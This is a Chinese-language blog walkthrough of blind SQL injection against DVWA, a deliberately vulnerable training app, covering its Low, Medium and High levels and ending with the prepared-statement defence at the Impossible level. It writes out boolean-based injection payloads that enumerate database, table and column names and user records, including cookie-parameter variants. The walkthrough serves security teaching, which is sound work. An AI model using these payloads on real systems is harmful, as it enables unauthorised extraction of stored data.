DVWA SQL Injection (Blind)

admin 2021年4月5日10:00:50评论56 views字数 2030阅读6分46秒阅读模式

0x01.SQL Injection (Blind)(Low)

相关代码分析
DVWA SQL Injection (Blind)
可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,
'User ID exists in the database.' 'User ID is MISSING from the database.';
因此这里是SQL盲注漏洞。
由题可知是布尔盲注,只会返回True或者False,不会返回报错信息
输入lucy,点击查询,返回True,输入lucy'返回False,说明此处存在SQL注入
DVWA SQL Injection (Blind)
判断当前数据库的长度,大于3不大于4,所以长度为4,可以用burp的intruder
lucy' or length(database())>4-- q,False
DVWA SQL Injection (Blind)
lucy' or length(database())>3-- q,True
DVWA SQL Injection (Blind)
判断库名第一个字母为d,True
lucy' or (substr(database(),1,1))='d'-- q
DVWA SQL Injection (Blind)
以此类推,数据库名为dvwa
判断表名第一个表的第一个字母为g,True
lucy' or (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='g'-- q
DVWA SQL Injection (Blind)
以此类推,所有表名为guestbook,users
判断users表中第一个字段的第一个字母是u,True
lucy' or (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='u'-- q
DVWA SQL Injection (Blind)
以此类推,所有字段名为user_id,first_name,last_name,user,password,avatar,last_login,failed_login
判断username中第一个内容的第一个字母为a,True
lucy' or (substr((select user from users limit 0,1),1,1))='a'-- q
DVWA SQL Injection (Blind)

0x02.SQL Injection (Blind)(Medium)

相关代码分析
DVWA SQL Injection (Blind)
Medium级别的代码利用mysql_real_escape_string函数对特殊符号
x00,n,r,,',",x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数
基于布尔的盲注
判断当前数据库的长度,长度为4,可以用burp的intruder
1 or length(database())=4 #,False
DVWA SQL Injection (Blind)
中间的操作和低等级的SQL注入类似,只是抓包修改,在此不再做过多赘述

0x03.SQL Injection (Blind)(High)

相关代码分析
DVWA SQL Injection (Blind)
High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
抓包将cookie中参数id改为
1and length(database())=4 #
显示存在,说明数据库名的长度为4个字符;
DVWA SQL Injection (Blind)
中间的操作和低等级的SQL注入类似,只是抓包修改cookie参数,在此不再做过多赘述
需要注意的一点是,判断字段数时,抓包将cookie中参数id改为
1‘ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #
(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。
0x04.SQL Injection (Blind)(Impossble)
相关代码分析
DVWA SQL Injection (Blind)
可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

0x05.写在最后

免责声明:本站提供的安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!本文部分内容来自网络,在此说明。
转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

欢迎关注公众号:24h进德修业,一名普通的白帽子,维护着一个既讲技术又有温度的原创号,一如既往地学习和分享,希望大家在紧张而忙碌的生活中可以在这里安静的学习,前行的道路上感谢有您的关注与支持。

本文始发于微信公众号(24h进德修业):DVWA SQL Injection (Blind)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月5日10:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DVWA SQL Injection (Blind)https://cn-sec.com/archives/326267.html

发表评论

匿名网友 填写信息